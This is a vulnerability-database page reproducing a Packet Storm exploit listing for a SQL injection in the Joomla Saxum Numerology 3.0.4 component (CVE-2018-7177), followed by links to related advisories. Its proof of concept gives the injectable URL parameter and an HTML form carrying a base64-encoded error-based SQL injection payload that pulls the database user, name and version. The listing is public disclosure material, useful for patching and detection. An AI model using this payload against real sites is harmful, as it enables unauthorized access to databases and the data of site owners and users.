Lucene search
Ihsan SencanPACKETSTORM:146464HistoryFeb 17, 2018 - 12:00 a.m.
Joomla! Saxum Numerology 3.0.4 SQL Injection
2018-02-1700:00:00
Ihsan Sencan
packetstormsecurity.com
22
EPSS
0.003
Percentile
68.6%
`# # # # #
# Exploit Title: Joomla! Component Saxum Numerology 3.0.4 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://www.saxum2003.hu/
# Software Link: http://www.saxum2003.hu/en/downloadsen/category/7-saxumnumerology-komponens.html
# Software Download: http://www.saxum2003.hu/downloadsen/file/104-numerology3.html?format=html
# Version: 3.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7177
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
#
# POC:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_saxumnumerology&view=savedresult&publicid=[SQL]
#
# 2)
# <html>
# <body>
# <form action="http://localhost/[PATH]/index.php?option=com_saxumnumerology&view=interpret" method="post">
# <input name="type_id" value="KFNFTEVDVCA2NiBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoQ09OQ0FUX1dTKDB4MjAzYTIwLFVTRVIoKSxEQVRBQkFTRSgpLFZFUlNJT04oKSksKFNFTEVDVCAoRUxUKDY2PTY2LDEpKSksRkxPT1IoUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLlBMVUdJTlMgR1JPVVAgQlkgeClhKQ==" type="hidden">
# <input type="submit" value="Ver Ayari">
# </form>
# </body>
# </html>
#
# # # # #
`
Related
nvd
nvd
CVE-2018-7177
2018-02-17 07:29:01
prion
prion
Sql injection
2018-02-17 07:29:00
exploitpack
exploitpack
Joomla! Component Saxum Numerology 3.0.4 - SQL Injection
2018-02-16 00:00:00
joomla
joomla
Saxum Numerology, 3.0.4, SQL Injection
2018-02-26 00:00:00
zdt
zdt
Joomla Saxum Numerology 3.0.4 Component - SQL Injection Vulnerability
2018-02-17 00:00:00
cvelist
cvelist
CVE-2018-7177
2018-02-17 07:00:00
exploitdb
exploitdb
Joomla! Component Saxum Numerology 3.0.4 - SQL Injection
2018-02-16 00:00:00
cve
cve
CVE-2018-7177
2018-02-17 07:29:01